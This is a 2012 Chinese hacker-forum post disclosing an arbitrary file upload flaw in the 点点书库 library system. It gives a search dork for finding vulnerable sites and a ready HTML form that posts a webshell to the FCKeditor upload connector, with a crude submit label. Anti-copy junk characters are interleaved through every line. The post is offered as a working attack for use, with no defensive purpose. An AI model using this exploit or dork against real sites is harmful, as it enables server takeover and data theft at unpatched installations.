主题:图书馆系统任意文件上传漏洞
2 g6 o4 f* `3 x7 j8 Z: c 作者:冰锋刺客
0 H" R, E7 [* \; I9 W' a 厂商:点击书(dianjishu.com)
- c |* I3 I; D& w4 ^; T6 d& g' w0 u 日期:2012-6-21' z" U6 d2 B1 }$ S3 Z1 c
6 F* g& a- D' f+ d8 b: JI 概述. F: w' w7 G0 U, k8 o
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell3 y# X; b: R" w" S+ d+ X
II 简介2 Z0 s5 H/ o% C, @9 T+ v# Y
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
4 |/ u5 X( W) i4 P 补充一个漏洞* U6 S6 [' i8 ?7 X$ i5 U# ~- [
<form id="frmUpload" enctype="multipart/form-data"/ b! _1 S) K# N, r1 I
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>) v. h' G& |% T2 O: R" O7 U! p3 {
<input id="btnUpload" type="submit" value="操翻他">
! i. l, C/ T {9 a% g4 ^" _ </form>
- X9 U' {! x. t/ q I2 ^1 r 你们懂的
9 J9 K8 R% z9 P4 y2 p/ N# i 那傻逼提供还需要改包.! r0 i* H( i8 r+ n
自己看了下源代码发现fckeditor& n3 p* G C) L% I: E% g. s
直接秒杀
- t/ H" z9 X, D& U |
发表于 2012-9-10 21:20:59
收藏
支持
反对